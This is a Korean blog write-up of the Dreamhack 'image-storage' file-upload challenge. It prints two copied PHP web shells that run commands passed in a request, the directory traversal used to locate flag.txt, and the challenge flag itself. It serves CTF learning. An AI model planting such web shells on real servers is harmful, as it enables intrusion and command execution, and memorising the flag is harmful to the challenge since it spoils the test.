[Dreamhack] image-storage

ahzero·2023년 6월 3일
0

Wrtie-up

목록 보기
3/19


풀이일 : 23/06/03

문제 페이지에 접속해보자.

Upload 버튼을 누르면 다음과 같은 화면이 나온다.

저장된 파일에 접근하여 파일을 선택한 후, 업로드가 가능하다.


위와 같이 다양한 파일들을 업로드 해 보았으나 정답을 찾아내지 못했다.


이제 문제 파일을 다운받아 보자.

문제 파일을 다운 받아 본 결과, 각각의 페이지가 php 파일로 구성된 것을 볼 수 있다.

따라서 php 웹 쉘을 통해 flag.txt 파일을 찾을 수 있지 않을까 추측이 된다.
php를 잘 모르기 때문에 php웹쉘을 검색하여 나오는 코드들을 이용해 보았다.

첫번째로 이용해 본 코드

<? 

        echo "
                <FORM ACTION=$PHP_SELF METHOD=POST>
                CMD : <INPUT TYPE=TEXT NAME=command SIZE=40>
                <INPUT TYPE=SUBMIT VALUE='Enter'></FORM>
                <HR><XMP></XMP><HR>";

        $command = str_replace('/', '', $command);
        echo "<XMP>"; passthru($command); echo "</XMP>";
?>

출처 : https://kk-7790.tistory.com/78

해당 코드를 메모장에서 작성하여 shell.php로 저장하였다.

Upload 페이지로 들어가 업로드 하면, List페이지에 표시된다.

클릭하여 php가 실행되는지 확인해보자.

실행되어 CMD 명령어를 받는 창이 만들어진 것을 확인할 수 있다!
ls 명령어부터 입력해보자.

요청된 URL을 서버에서 찾을 수 없다고 표시된다. 다른 명령어를 입력했을 때에도 동일한 에러가 결과로 나왔다.


다른 php 쉘코드를 찾아보자.
두번째로 찾아낸 php 쉘코드

<?php

echo 'Enter a Command:<br>';
echo '<form action="">';
echo '<input type=text name="cmd">';
echo '<input type="submit">';
echo '</form>';					

/*
	위의 부분은 CMD 명령어를 입력받을 수 있는 UI를 구성
*/

if(isset($_GET['cmd'])){
	system($_GET['cmd']);
}
//system 함수를 통해 cmd로부터 받은 CMD 명령어가 실행된다.

?>

출처 : https://yehey-study.tistory.com/entry/%ED%8C%8C%EC%9D%BC-%EC%97%85%EB%A1%9C%EB%93%9C-%EA%B3%B5%EA%B2%A9-%EB%B0%8F-%EC%8B%A4%EC%8A%B5

위의 코드를 webshell.php로 저장하였다.

Upload 페이지에서 업로드

클릭해보니 위의 shell.php가 실행되었을 때처럼 명령어를 받는 화면이 표시된다.

ls 명령어부터 입력해보자.

이전과 다르게 결과가 화면에 출력되는 것을 확인할 수 있다!!!!
쉘 획득에 성공하였다. 이제 flag.txt의 위치를 찾아내어 cat 명령어를 이용해 그 내용을 읽으면 flag를 획득할 수 있을 것이다.

ls ../../ 실행 결과

ls ../../../ 실행 결과

ls ../../../../ 실행 결과

=> flag.txt의 위치를 확인하였다.

cat ../../../../flag.txt

위 명령어를 입력하여 flag.txt를 읽자.

flag는 DH{c29f44ea17b29d8b76001f32e8997bab}

0개의 댓글